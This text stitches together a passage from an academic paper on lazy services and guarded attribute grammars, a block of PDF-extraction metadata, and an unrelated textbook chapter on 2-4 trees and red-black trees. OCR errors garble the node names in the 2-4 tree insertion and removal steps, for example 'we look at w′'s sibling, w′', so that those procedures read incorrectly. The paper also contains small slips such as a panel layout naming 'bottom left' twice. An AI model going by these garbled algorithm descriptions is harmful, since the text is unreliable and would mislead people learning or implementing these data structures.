Thus, lazy services may offer solutions that would be unpractical in a standard framework. Indeed, in this example, solutions could be optimised in other ways, but our approach permits a natural service based way to tackle the problem while taking effective advantage of concurrency.
It is noteworthy that lately, researchers are exploiting fine grain cloud computing to solve such computation-intensive tasks by launching parallel swarms of cloud functions (see [10] for a short review). Our model represents a possible solution for efficiently structuring such projects while leaving the data dependency restrictions at the level of the cloud functions.
3.4 Human Centric Systems
Guarded attribute grammars were originally introduced for distributed collaborative systems, and user-centred systems remain the primary intended area of application of our model. These systems range from rigid workflow (task-flow systems) to more dynamic and flexible systems, such as corporate social networks. The former are adapted to well-defined processes, that however generally depend on specific contexts and are not expected to evolve over time. The latter on the contrary, may rely less strictly on a formal process so as to provide the users with a higher degree of freedom.
As an example of a rigid workflow, we may consider crowd-sourcing. There, some repetitive tasks requiring human intelligence are entrusted to external actors. Lazy services can be used to coordinate the participation of
external actors in such situations. Qualified external actors (the crowd) could receive requests of the service that the company wants to outsource, together with a defined set of productions meant to solve the corresponding task. The crowd must implement the services by selecting the appropriate productions among those made available to them, and these interact directly with the company’s services (database, automated programs, other lazy services, ...). The outsourcing of such services allows for optimising the costs, while the availability of productions regulate the way the crowd participates in the process, their activation being guarded by contextual information.
Example 3.4. In an insurance company, for example, the validation of insurance or reimbursement claims can be outsourced following this principle. An independent insurer could be given claim validation tasks from nearby customers. The decision would be formalised by a particular choice of productions for task resolutions. The guards of these productions would prevent discriminatory or unfounded decisions, while the insurer could still take her final decision based on her experience and possible interactions with the customer. Indeed, by accommodating user interactions through the selection of productions, screening of user activity is made possible, providing the system with a better control over human interventions.
Regarding more flexible and less formal systems, we may consider corporate social networks. These are more likely to harness the creativity of participants enabling the emergence of collective intelligence towards the resolution of a task, but they are too often not sufficiently structured. This lack of structure represents a major obstacle for the cooperative production of a solution to the problem at stake. In order to fully exploit the potential of such systems, rules must be added to regulate the exchanges between the participants, in a way that will not coerce their creativity. Guarded attribute grammars are well suited for analysing how tasks may be decomposed into more elementary sub-tasks, and as such, they can provide a normative framework for collective problem solving. The semantic rules are written in the host language in which the system is designed, so that the normative model can interact with the utilities offered by the corporate social network (share documents, agendas, discussion threads). Note that the possibility to select appropriate production rules, or even create new ones, provides enough flexibility for the users to freely exploit their creativity. Furthermore, the expertise of each user is reflected in her choices, or the rules she creates, and this knowledge may be recorded for further use. The social network allows for sharing most useful information (e.g. documents or spreadsheets) but lacks control over its role in the process of task resolution. This knowledge is left to the human participants. Our data-aware normative approach allows for structuring the informal processes (or workflows) performed by the users as they collaborate for solving their respective tasks. This enhances the system in that it records the interaction patterns of the various relevant expertise. In this way, the system may collect, not only the individual knowledge of each user, but also gather a trace of the emergent collective intelligence. This structure, together with the information provided by the
synthesized attributes may also be used to offer a shared mental representation
to the users. Such a representation can be particularly effective in preventing
detrimental human behaviour, such as dilution of responsibility (by knowing who
has committed do doing what) or cognitive bias (like the illusion of unanimity,
the incomplete evaluation of alternatives, the pressure of divergent opinions,
self-censorship, feeling of invulnerability). Altogether this solution improves
the quality of the collaboration.
For a thorough example of human-centring application using the formalism
of Guarded Attribute Grammars, we refer to [19], which presents an application
to epidemiological surveillance.
4 Operational semantics of lazy services
The operational semantics of lazy services are defined by a distributed system,
consisting of elementary computational units called components. More precisely,
each component of the system proposes to solve certain tasks, the services it
offers, for which it may require to call external services offered by other compo-
nents. To this end, it is associated with a local GAG, as defined in Section 2,
with the difference that external services do not have a defining equation. As in
the case of the variables of a composite service, the services of a local grammar
can be classified into three categories:
- The provided services: those defined but not used.
- The required services: those used but not defined.
- The local tasks: those both defined and used.
The local tasks are not visible from outside the component and thus their names
are lexically bound to the scope of the component. Several components can
offer the same service and use different defining equations for it, i.e. different
components may render the same service in different ways.
4.1 Configuration
Each component maintains its own configuration as in Def. 2.3, a data struc-
ture storing a list of pending tasks (the current service calls), a partial valuation
for the involved variables, but also, for this distributed version, a set of sub-
scriptions to the variables defined locally but used in another component. It is
modeled by the four following sets:
1. A set of variables \( \text{Var}(\Gamma) \).
2. A set \( \text{Eq}(\Gamma) \) of equations of two types:
(i) A service call \( s(x_1, ..., x_n)(y_1, ..., y_m) \) where \( y_i, x_j \) are variables and \( s \) is
either a provided service or a local task.
This form models the services being executed within the component. The presence of such an equation means that the current component must produce the data $y_1, \ldots, y_m$ from the inputs $x_1, \ldots, x_n$ through service $s$.
(ii) A semantic rule $(y_1, \ldots, y_m) = f(x_1, \ldots, x_n)$ where $y_i, x_j$ are variables and $f$ a procedure of the host language.
This form means that the current component must execute procedure $f$ to compute the data $y_1, \ldots, y_m$ from the data $x_1, \ldots, x_n$. Unlike for services, the procedures used in semantic rules are not lazy. They correspond to procedures of the host programming language used by the component to implement its services.
We deduce from $\text{Eq}(\Gamma)$ the inputs and outputs of the component. We shall say that a variable is used (resp. defined) if it used (resp. defined) by one of its instances of services or semantic equations. The inputs, noted $\text{In}(\Gamma)$, are the variables used but not defined: $\text{In}(\Gamma) = \text{Used}(\Gamma) \setminus \text{Def}(\Gamma)$; whereas the outputs are those which are defined but not used: $\text{Out}(\Gamma) = \text{Def}(\Gamma) \setminus \text{Used}(\Gamma)$. The defined and used variables correspond to local variables used internally.
3. A valuation $\sigma(\Gamma)$ which is a partial substitution of values to variables. Each equation of $\sigma(\Gamma)$ takes the form $x = v$ meaning that the computation of the variable $x$ is completed and has resulted in the value $v$. The valuation is updated whenever a semantic rule finishes its computation or when the present component receives a notification providing the value from another component.
4. The last set $\text{Sub}(\Gamma)$ is the set of subscriptions on the variables that the component must compute and publish. Each element of $\text{Sub}(\Gamma)$ is of the form $(x, c')$ such that $x \in \text{Out}(\Gamma)$ and $c' \neq c$ ($c$ being the present component).
We associate some additional constraints ensuring the validity of the execution:
$(C_1)$: **Non-double definition.** A variable cannot be defined more than once in $\Gamma$.
$(C_2)$: **Acyclic dependency.** The set $D(\Gamma)$ of dependencies between variables of $\Gamma$ is acyclic. This set is given as the transitive closure of the union of the dependency relation associated with each equation: $D(\Gamma) = (\bigcup_{e \in \Gamma} D(e))^*$, where
- $D(e) = \{x_1, \ldots, x_n\} \times \{y_1, \ldots, y_m\}$ if $e$ is a semantic rule $(y_1, \ldots, y_m) = f(x_1, \ldots, x_n)$,
- $D(e) = D_s[x_i/in_i, y_j/out_j]$ if $e$ is a service call $s(x_1, \ldots, x_n)\langle y_1, \ldots, y_m \rangle$ and the dependency relation of service $s$ is $D_s \subseteq \{in_1, \ldots, in_n\} \times \{out_1, \ldots, out_m\}$.
$(C_3)$: **Input/output consistency.** Each input variable $x$ of a component $c$ must appear as an output variable of a single other component $c'$ in the system. Consequently, $c'$ must have a subscription of $c$ on the variable $x$. 17
4.2 State of a Component
The initial computational state of a component is obtained from its initial configuration by replacing each instance of a provided service by its definition. The rationale is that all the guards are active in the current state and are evaluated concurrently. When a production is triggered, we should activate (expand) the corresponding right-hand side of the production. The state of a component should then expose a structured set of equations that allows such a dynamic evolution.
Definition 4.1. The state of a component consists of a set of variables, a valuation (partial substitution of values to these variables), a set of subscriptions and a set of instances of service. An instance of a service is a pair, denoted as $G \triangleright (\sum_{i=1}^{k} RHS_i)$, made of an instantiated guard $G$ (a set of semantic rules) and a list $RHS_i$ of equations (service calls and semantic rules). The analogs of conditions $(C_1)$, $(C_2)$, and $(C_3)$ are also required.
The expansion of the set $Eq(\Gamma)$ of equations in a configuration $\Gamma$ is the state $\overline{\Gamma}$ obtained by keeping all semantic rules unchanged and expanding each of the instance of service in $Eq(\Gamma)$ as defined below. The variables, valuation, and subscriptions of $\overline{\Gamma}$ are those of $\Gamma$ but they are updated during the expansion of its equations as it is described below.
Recall that the definition of a service in a guarded attribute grammar is given by a rewriting rule:
$$s(in_1, ..., in_n)(out_1, ..., out_m) \rightarrow G \triangleright \left( \sum_{i=1}^{k} RHS_i \right)$$
where:
- Guard $G$ is given by a set of semantic rules that meets the constraints $C_1$ and $C_2$. Their inputs form a subset of the inherited attributes of service $s$ ($\text{In}(G) \subseteq \{in_1, ..., in_n\}$) and $\text{Out}(G) = \{p\}$.
- Each $RHS_i$ is given by a set of equations (service calls and semantic rules) which verify $C_1$ and $C_2$. This set represents a potential implementation of service $s$. Thereby, $\text{In}(RHS_i) \subseteq \{in_1, ..., in_m\}$ and $\text{Out}(RHS_i) = \{out_1, ..., out_n\}$.
All the variables that appear in such a rule are formal variables that play the role of placeholders. Expanding a service call $s(x_1, ..., x_n)(y_1, ..., y_m)$ in a configuration $\Gamma$ is done as follows:
- If $s$ is a defined service (provided service or local task) with a definition as above, then replace $s(x_1, ..., x_n)(y_1, ..., y_m)$ with the corresponding right-hand side where the formal parameters $in_1, ..., in_n$ and $out_1, ..., out_m$ are replaced by the actual variables $x_1, ..., x_n$ and $y_1, ..., y_m$. To avoid name clashes, the other variables of the expression are renamed with new names.
These variables are added to the set of variables of Γ (each with an undefined value). The expansion of the service call \( s(x_1, ..., x_n)(y_1, ..., y_m) \) is then the instance of service \( G' \triangleright \left( \sum_{i=1}^{k} RHS'_i \right) \) with \( G' = G[x_i/in_i; y_j/out_j] \) and \( RHS'_i = RHS_i[x_i/in_i; y_j/out_j] \).
- If \( s \) is a required service then (1) a service call request is sent to a component \( c' \) providing \( s \); (2) subscriptions \( (x_i, c') \) are created for the \( x_i \) not defined in \( \sigma(\Gamma) \); and (3) the values of the defined \( x_i \) are embedded in the request. A service call query thus takes the form \( \langle s(x_1, ..., x_n)(y_1, ..., y_m), \sigma_s \rangle \) where \( \sigma_s = \{ x_j = v_j | x_j = v_j \in \sigma(\Gamma) \land x_j \in \{ x_1, ..., x_n \} \} \).
### 4.3 System dynamics
The dynamics of the system relies on the notion of component state introduced above and the operations that make it evolve (internal computation, service call, notification, etc). We later show that the semantics so defined lends itself equally well to a centralized architecture (central orchestration unit) and a decentralized architecture (no central unit).
Note that, expanding the initial configuration of a component into its initial state can generate events (calls to services provided by other components) and thus already contributes to the system dynamics.
The execution dynamics is given by a set of operations that govern the evolution of the set of component states and preserve the conditions of their validation (\( C_1 \) to \( C_3 \)).
**Internal computation and notification**
The atomic level of computation is an internal computation. For any semantic equation \( (y_1, ..., y_m) = f(x_1, ..., x_n) \) the procedure \( f \) is called when, and as soon as, each variable \( x_i \) has a value \( v_i \) in the current state: \( (x_i = v_i) \in \sigma(\Gamma) \). Then for each \( y_j \), an equation \( y_j = v'_j \) is added in \( \sigma(\Gamma) \) where \( v'_j \) is the value returned by \( f \) for variable \( y_j \), i.e. \( (v'_1, ..., v'_m) = f(v_1, ..., v_n) \). This can potentially result in notifications if there are subscriptions in \( \text{Sub}(\Gamma) \) for some of the \( y_j \)’s. In such a case, equation \( y_j = v'_j \) is sent to the corresponding subscribers.
**Triggering a production**
If \( G \triangleright \left( \sum_{i=1}^{k} RHS_i \right) \) is an instance of service in the current state and \( v(p) = i \), then the corresponding guarded production is triggered. Triggering this production amounts to replacing this instance of service with the expansion of \( RHS_j \).
Recall that this expansion generates a service call for each requested service in \( RHS_j \).
**Message processing**
A component can receive two types of messages corresponding to notifications and service calls which are generated respectively after internal computations and activation of productions.
In the case of reception of a service call \( s(x_1, ..., x_n)(y_1, ..., y_m), \sigma_s \) coming from a \( c' \), the component receiving the call executes the expansion of this service call in its current state; updates the set of variable values: \( \sigma(\Gamma) = \sigma(\Gamma) \cup \sigma_s \); and creates subscriptions \( (y_j, c') \) in \( \text{Sub}(\Gamma) \) to notify the caller \( c' \) whenever an output value becomes available.
When a component \( c \) receives a notification \( \langle x \rangle \), it updates its configuration with the received value: \( \sigma(\Gamma) = \sigma(\Gamma) \cup \{ x = v \} \). In some cases, it may happen that the component \( c \) being notified had already stored subscriptions to the notified value. This corresponds to the situations where the component has used an output variable of a remote service as input of another remote service. In such a case, it becomes a transiting node and must notify all the component requiring the variable value as soon as it gets notified.
## 5 Implementation and Deployment
In this section we provide some guidelines for implementing and deploying lazy services in a distributed environment with respect to the previously defined operational semantics. We propose, as a proof of concept, the development and deployment of the running example in a distributed environment. The guidelines given in this section are general, and can be refined or adjusted according to the targeted application.
### 5.1 Deployment architecture

The easy way to deploy lazy services is to use a central broker where each component publishes the services it implements and searches for those it needs. The broker can also hold middleware functions handling the connections and disconnections of components, to ensure the routing of messages. In the case of crowd-sourcing systems where the components maintained by users can have failures, the broker can also store the components’ sessions (i.e., configurations), to ensure the robustness of the system. The resulting architecture is then a centralized architecture where interaction is provided by the broker in the middle (see Figure 3). In a more elaborate way, we can optimize the deployment by distributing the broker within the components, similar to what is done in distributed publish/subscribe systems ([28, 17, 9, 27]). Each component will then hold a part of the broker and share the responsibility of the reliability of the system (routing of messages, secure replication of data, etc.). This second architecture (see Figure 4) also matches peer-to-peer systems, where each participant plays an equal role towards other participants, and which are free of central server bottlenecks.
Thus, the application domain can also guide the used architecture, and the shared data. For an enterprise application, a centralized architecture seems appropriate, while for a collaboration between different companies, a distributed architecture where each component ensures the routing of its messages and the reliability of its data, is more appropriate. Mixed architectures are also to be considered. For example, an enterprise application based on lazy services and communicating with other applications of the same type could have a centralized
internal broker securing its data and interfacing with other brokers.
5.2 An application prototype based on lazy services
We have developed a demonstrator based on an instantiation of the architecture in Figure 4. It is the implementation of the book order example introduced in section 2.1. Its interface has four principal panels (see Figure 6). The first one (top left) shows the graphic visualization of the configuration, and the three others (bottom left, top right and bottom left) show respectively the different parts ($\text{Eq}(\Gamma)$, $\sigma(\Gamma)$ and $\text{Sub}(\Gamma)$) of the configurations described in section 4. Our example has two components $C_A$ and $C_B$. The first component $C_A$ implements the two services offered by the bookstore $A$: a service to initiate the transaction and a service to validate or reject the offers made by $B$. The component $C_B$ implements the composite service used by $B$ to handle $A$’s orders. This service uses the validation service offered by $A$ to confirm $B$’s offers, and an internal service to deliver the books upon confirmation. In case of offer rejection, the same internal service returns a null delivery detail value. Figures 5 and 6 display screenshots of the application. The first figure presents the user interface that allows $B$ to make its offers. This interface is activated by the local function $\text{user}$ of the bookstore $B$. We can also observe in the figure (in the subscription panel), the subscription of $A$ to the delivery detail that $B$ has to produce. The second figure corresponds to the final interface of the bookstore $B$ after delivery. We can observe in the configuration validation panel that the offer has been validated and that the delivery detail is now available.
The application is implemented using Java as host language, and a DSL based on XML and thejaxb library\(^1\) to specify the GAG of each component. The communication between components is ensured by means of the distributed SON middleware\(^2\). The source code of the prototype is available at \([1]\).
6 Related works and discussions
In this section, we discuss the relation of the present work with other approaches, in line with the lazy service concept.
6.1 Lazy data computing: data with embedded calls
A popular lazy data computing technique consists in embedding functions into data. The data is then composed of two types of information; some explicit and available called *extensional information* and others available only when needed, upon embedded function call, called *intensional information*. This computational principle has been used by Microsoft Office, to provide information to
---
\(^1\)The Java Architecture for XML Binding (JAXB) provides an API and tools that automate the mapping between XML documents and Java objects\(^2\).
\(^2\)SON is a generic lightweight P2P middleware that assists application developers by providing an automatic code generation which handles several requirements (e.g., communication mechanisms, message queue management, broadcasting messages, etc.)\(^1\).
23
users on demand, by means of “smart tags” [2, 18]; and by datalogs [5, 11] to
deduce new (intensional) information from pre-existing one.
The active XML documents (AXML) approach [3, 4, 24] then proposed to
replace embedded functions by embedded web services to integrate the use of in-
tensional information in distributed computing over the internet. Our approach
differs from this one, in that data which are not available are here considered
as commitments, that must be delivered by the system as soon as they are pro-
duced. The main advantage of this is that, it is henceforth possible to exchange
intensional data on the basis of the commitments of their producers: lazy and/or
parallel processing are therefore enhanced. In fact, one can now perform an op-
eration and/or invoke a service before all the necessary data are available if a
significant part already is. Thus, we are not only interested in lazy evaluation
of data, but also in lazy and parallel evaluation of services so as to optimize the
overall computing speed.
6.2 Service composition
The composition of services is a technique regularly used in the distributed ex-
ecution of business processes. It is generally handled via one of two approaches:
orchestration or choreography. Service orchestration relies on a central ser-
vice dedicated to orchestration and coordination; the orchestration model being
given by a dedicated language such as BPMN [21], BPEL [20] or Petri nets
[13, 8]. The orchestration technique generally suffers from scaling drawbacks
due to the centralization of coordination. Service choreography tends to solve
the problem by defining specification languages (WSCI [29], WS-CDL [30]) that
consider services as autonomous entities collaborating without intervention of
a central server. They can also be used to ensure the collaboration of several
orchestration models [30].
Since no specific orchestration or collaboration language is defined in the
lazy services approach, it can be used to efficiently execute distributed business
processes, improving lazy and parallel processing, from the orchestration point
of view, as well as from the choreography one.
6.3 Peer-to-peer computing
Peer-to-peer computing is progressively gaining popularity for the development
of internet applications [14, 25]. In a peer-to-peer application, each participant
plays an equal role towards the other participants. Therefore, no server is
required to centralize the processing and thus scaling constraints are leveraged.
Lazy services are well suited for peer-to-peer computing, as they operate
independently and do not require a central server for their execution. More-
ever, since communication between lazy services is asynchronous and data are
delivered as soon as possible, they can be used to better address connectivity
problems generally encountered in peer-to-peer network.
6.4 Declarative models
Declarative models are a promising means to exploit concurrency and avoid over-specifications when designing systems. Nowadays, declarative computing models [23, 26] allow the user to specify only the mandatory constraints to be met when executing a process and let the system decide on the other contextual requirements to be fulfilled during the execution. These contextual requirements may depend on the execution platform or on the availability of resources. A representative case study was provided by the Condec approach [23] that proposes to execute business processes in the form of task constraints without specifying the execution flow, which is determined at runtime by the user. Lazy services enrich these approaches by providing a service-based model for building declarative systems where the only mandatory constraint to be specified before execution is the data dependency. The remaining constraints are determined by the execution dynamics.
7 Conclusion
In this paper, we have developed a notion of lazy service starting from the model of guarded attribute grammars previously introduced in the context of collaborative systems. Lazy services provide flexibility to SOA systems, allowing services to start with only some of their inputs and to return outputs at the earliest possible time, as they are produced by sub-services and local functions. Lazy service behaviour relies on productions of guarded attribute grammars. Each production of the grammar defines how a composite service relies on sub-services and local functions of a host programming language to produce its outputs. It is worth emphasising that a GAG specification is always relative to a host language, but any arbitrary language can host a GAG specification. GAG formalism should be seen as a means of extending the host language. The approach followed is therefore clearly language-oriented: our intent is not to develop a fixed application but to offer a means to extend the host language. We have shown how so defined lazy service may bring more flexibility in user-centered systems or show more resilience in systems subject to failures or connectivity problems. Time execution is also improved, as scheduling constraints are reduced down to data dependency.
We introduced a lightweight syntax (section 2.3) to specify lazy services and used it to implement a prototype through xml. This lightweight syntax can be refined to target concrete applications. One may want to offer higher-level notations more fitted for describing a given problem, and hence provide extensions of the core syntax. For instance, if the host language allows for macros, new syntactic patterns can be defined. Any expression using these macros can then be expanded into a specification of the core model of GAG.
Extending the core model thus constitutes the primary intended follow-up of this work. More specifically, it will consist in providing frameworks, libraries and Domain specific languages (DSLs), built on top of the core model, for each
of the domain specific applications discussed above. DSLs built on top of the base model will then provide an additional level of abstraction, easing the user into the specification of lazy services, while exploiting the features of the base model.
References
[22] Oracle. Java architecture for xml binding. [https://javaee.github.io/jaxb-v2/]
|
{"Source-Url": "https://inria.hal.science/hal-03353118/file/Lazy-Services.pdf", "len_cl100k_base": 14457, "olmocr-version": "0.1.53", "pdf-total-pages": 29, "total-fallback-pages": 0, "total-input-tokens": 73163, "total-output-tokens": 17852, "length": "2e13", "weborganizer": {"__label__adult": 0.00028514862060546875, "__label__art_design": 0.0007047653198242188, "__label__crime_law": 0.00024306774139404297, "__label__education_jobs": 0.001068115234375, "__label__entertainment": 0.00010991096496582033, "__label__fashion_beauty": 0.00015163421630859375, "__label__finance_business": 0.00040531158447265625, "__label__food_dining": 0.00031256675720214844, "__label__games": 0.0005083084106445312, "__label__hardware": 0.0008034706115722656, "__label__health": 0.0004298686981201172, "__label__history": 0.0003972053527832031, "__label__home_hobbies": 8.600950241088867e-05, "__label__industrial": 0.0003769397735595703, "__label__literature": 0.0004744529724121094, "__label__politics": 0.00026345252990722656, "__label__religion": 0.00047707557678222656, "__label__science_tech": 0.0628662109375, "__label__social_life": 9.334087371826172e-05, "__label__software": 0.01568603515625, "__label__software_dev": 0.91357421875, "__label__sports_fitness": 0.00018680095672607425, "__label__transportation": 0.00048422813415527344, "__label__travel": 0.0002162456512451172}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 75490, 0.02592]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 75490, 0.39302]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 75490, 0.90741]], "google_gemma-3-12b-it_contains_pii": [[0, 1045, false], [1045, 3063, null], [3063, 6443, null], [6443, 9205, null], [9205, 11852, null], [11852, 14893, null], [14893, 18150, null], [18150, 19979, null], [19979, 22977, null], [22977, 25835, null], [25835, 29161, null], [29161, 32351, null], [32351, 35732, null], [35732, 38804, null], [38804, 41914, null], [41914, 45363, null], [45363, 47807, null], [47807, 50838, null], [50838, 53614, null], [53614, 56622, null], [56622, 58223, null], [58223, 59975, null], [59975, 61753, null], [61753, 63074, null], [63074, 65952, null], [65952, 68996, null], [68996, 71144, null], [71144, 73665, null], [73665, 75490, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1045, true], [1045, 3063, null], [3063, 6443, null], [6443, 9205, null], [9205, 11852, null], [11852, 14893, null], [14893, 18150, null], [18150, 19979, null], [19979, 22977, null], [22977, 25835, null], [25835, 29161, null], [29161, 32351, null], [32351, 35732, null], [35732, 38804, null], [38804, 41914, null], [41914, 45363, null], [45363, 47807, null], [47807, 50838, null], [50838, 53614, null], [53614, 56622, null], [56622, 58223, null], [58223, 59975, null], [59975, 61753, null], [61753, 63074, null], [63074, 65952, null], [65952, 68996, null], [68996, 71144, null], [71144, 73665, null], [73665, 75490, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 75490, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 75490, null]], "pdf_page_numbers": [[0, 1045, 1], [1045, 3063, 2], [3063, 6443, 3], [6443, 9205, 4], [9205, 11852, 5], [11852, 14893, 6], [14893, 18150, 7], [18150, 19979, 8], [19979, 22977, 9], [22977, 25835, 10], [25835, 29161, 11], [29161, 32351, 12], [32351, 35732, 13], [35732, 38804, 14], [38804, 41914, 15], [41914, 45363, 16], [45363, 47807, 17], [47807, 50838, 18], [50838, 53614, 19], [53614, 56622, 20], [56622, 58223, 21], [58223, 59975, 22], [59975, 61753, 23], [61753, 63074, 24], [63074, 65952, 25], [65952, 68996, 26], [68996, 71144, 27], [71144, 73665, 28], [73665, 75490, 29]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 75490, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-06
|
2024-12-06
|
07c8b8eb5f8474717879b87401318482bb4f038b
|
Chapter 9
Red-Black Trees
In this chapter, we present red-black trees, a version of binary search trees with logarithmic height. Red-black trees are one of the most widely used data structures. They appear as the primary search structure in many library implementations, including the Java Collections Framework and several implementations of the C++ Standard Template Library. They are also used within the Linux operating system kernel. There are several reasons for the popularity of red-black trees:
1. A red-black tree storing $n$ values has height at most $2 \log n$.
2. The add($x$) and remove($x$) operations on a red-black tree run in $O(\log n)$ worst-case time.
3. The amortized number of rotations performed during an add($x$) or remove($x$) operation is constant.
The first two of these properties already put red-black trees ahead of skiplists, treaps, and scapegoat trees. Skiplists and treaps rely on randomization and their $O(\log n)$ running times are only expected. Scapegoat trees have a guaranteed bound on their height, but add($x$) and remove($x$) only run in $O(\log n)$ amortized time. The third property is just icing on the cake. It tells us that that the time needed to add or remove an element $x$ is dwarfed by the time it takes to find $x$.$^1$
However, the nice properties of red-black trees come with a price: implementation complexity. Maintaining a bound of $2 \log n$ on the height
---
$^1$Note that skiplists and treaps also have this property in the expected sense. See Exercises 4.6 and 7.5.
is not easy. It requires a careful analysis of a number of cases. We must ensure that the implementation does exactly the right thing in each case. One misplaced rotation or change of colour produces a bug that can be very difficult to understand and track down.
Rather than jumping directly into the implementation of red-black trees, we will first provide some background on a related data structure: 2-4 trees. This will give some insight into how red-black trees were discovered and why efficiently maintaining them is even possible.
9.1 2-4 Trees
A 2-4 tree is a rooted tree with the following properties:
Property 9.1 (height). All leaves have the same depth.
Property 9.2 (degree). Every internal node has 2, 3, or 4 children.
An example of a 2-4 tree is shown in Figure 9.1. The properties of 2-4 trees imply that their height is logarithmic in the number of leaves:
Lemma 9.1. A 2-4 tree with $n$ leaves has height at most $\log n$.
Proof. The lower-bound of 2 on the number of children of an internal node implies that, if the height of a 2-4 tree is $h$, then it has at least $2^h$ leaves. In other words,
$$n \geq 2^h.$$
Taking logarithms on both sides of this inequality gives $h \leq \log n$. □
9.1.1 Adding a Leaf
Adding a leaf to a 2-4 tree is easy (see Figure 9.2). If we want to add a leaf \( u \) as the child of some node \( w \) on the second-last level, then we simply make \( u \) a child of \( w \). This certainly maintains the height property, but could violate the degree property; if \( w \) had four children prior to adding \( u \), then \( w \) now has five children. In this case, we split \( w \) into two nodes, \( w \) and \( w' \), having two and three children, respectively. But now \( w' \) has no parent, so we recursively make \( w' \) a child of \( w' \)'s parent. Again, this may cause \( w' \)'s parent to have too many children in which case we split it. This process goes on until we reach a node that has fewer than four children, or until we split the root, \( r \), into two nodes \( r \) and \( r' \). In the latter case, we make a new root that has \( r \) and \( r' \) as children. This simultaneously increases the depth of all leaves and so maintains the height property.
Since the height of the 2-4 tree is never more than \( \log n \), the process of adding a leaf finishes after at most \( \log n \) steps.
9.1.2 Removing a Leaf
Removing a leaf from a 2-4 tree is a little more tricky (see Figure 9.3). To remove a leaf \( u \) from its parent \( w \), we just remove it. If \( w \) had only two children prior to the removal of \( u \), then \( w \) is left with only one child and violates the degree property.
To correct this, we look at \( w' \)'s sibling, \( w' \). The node \( w' \) is sure to exist since \( w' \)'s parent had at least two children. If \( w' \) has three or four children, then we take one of these children from \( w' \) and give it to \( w \). Now \( w \) has two children and \( w' \) has two or three children and we are done.
On the other hand, if \( w' \) has only two children, then we merge \( w \) and \( w' \) into a single node, \( w \), that has three children. Next we recursively remove \( w' \) from the parent of \( w' \). This process ends when we reach a node, \( u \), where \( u \) or its sibling has more than two children, or when we reach the root. In the latter case, if the root is left with only one child, then we delete the root and make its child the new root. Again, this simultaneously decreases the height of every leaf and therefore maintains the height property.
Again, since the height of the tree is never more than \( \log n \), the process
Figure 9.2: Adding a leaf to a 2-4 Tree. This process stops after one split because \texttt{w.parent} has a degree of less than 4 before the addition.
Figure 9.3: Removing a leaf from a 2-4 Tree. This process goes all the way to the root because each of u’s ancestors and their siblings have only two children.
of removing a leaf finishes after at most $\log n$ steps.
9.2 RedBlackTree: A Simulated 2-4 Tree
A red-black tree is a binary search tree in which each node, $u$, has a colour which is either red or black. Red is represented by the value 0 and black by the value 1.
```java
class Node<T> extends BSTNode<Node<T>, T> {
byte colour;
}
```
Before and after any operation on a red-black tree, the following two properties are satisfied. Each property is defined both in terms of the colours red and black, and in terms of the numeric values 0 and 1.
**Property 9.3** (black-height). There are the same number of black nodes on every root to leaf path. (The sum of the colours on any root to leaf path is the same.)
**Property 9.4** (no-red-edge). No two red nodes are adjacent. (For any node $u$, except the root, $u$.colour + u.parent.colour $\geq$ 1.)
Notice that we can always colour the root, $r$, of a red-black tree black without violating either of these two properties, so we will assume that the root is black, and the algorithms for updating a red-black tree will maintain this. Another trick that simplifies red-black trees is to treat the external nodes (represented by `nil`) as black nodes. This way, every real node, $u$, of a red-black tree has exactly two children, each with a well-defined colour. An example of a red-black tree is shown in Figure 9.4.
9.2.1 Red-Black Trees and 2-4 Trees
At first it might seem surprising that a red-black tree can be efficiently updated to maintain the black-height and no-red-edge properties, and it seems unusual to even consider these as useful properties. However,
red-black trees were designed to be an efficient simulation of 2-4 trees as binary trees.
Refer to Figure 9.5. Consider any red-black tree, $T$, having $n$ nodes and perform the following transformation: Remove each red node $u$ and connect $u$’s two children directly to the (black) parent of $u$. After this transformation we are left with a tree $T'$ having only black nodes.
Every internal node in $T'$ has two, three, or four children: A black node that started out with two black children will still have two black children after this transformation. A black node that started out with one red and one black child will have three children after this transformation. A black node that started out with two red children will have four children after this transformation. Furthermore, the black-height property now guarantees that every root-to-leaf path in $T'$ has the same length. In other words, $T'$ is a 2-4 tree!
The 2-4 tree $T'$ has $n + 1$ leaves that correspond to the $n + 1$ external nodes of the red-black tree. Therefore, this tree has height at most $\log(n + 1)$. Now, every root to leaf path in the 2-4 tree corresponds to a path from the root of the red-black tree $T$ to an external node. The first and last node in this path are black and at most one out of every two internal nodes is red, so this path has at most $\log(n + 1)$ black nodes and at most $\log(n + 1) − 1$ red nodes. Therefore, the longest path from the root to any internal node in $T$ is at most
$$2\log(n + 1) − 2 \leq 2\log n ,$$
for any $n \geq 1$. This proves the most important property of red-black trees:
Lemma 9.2. The height of red-black tree with \( n \) nodes is at most \( 2 \log n \).
Now that we have seen the relationship between 2-4 trees and red-black trees, it is not hard to believe that we can efficiently maintain a red-black tree while adding and removing elements.
We have already seen that adding an element in a BinarySearchTree can be done by adding a new leaf. Therefore, to implement \( \text{add}(x) \) in a red-black tree we need a method of simulating splitting a node with five children in a 2-4 tree. A 2-4 tree node with five children is represented by a black node that has two red children, one of which also has a red child. We can “split” this node by colouring it red and colouring its two children black. An example of this is shown in Figure 9.6.
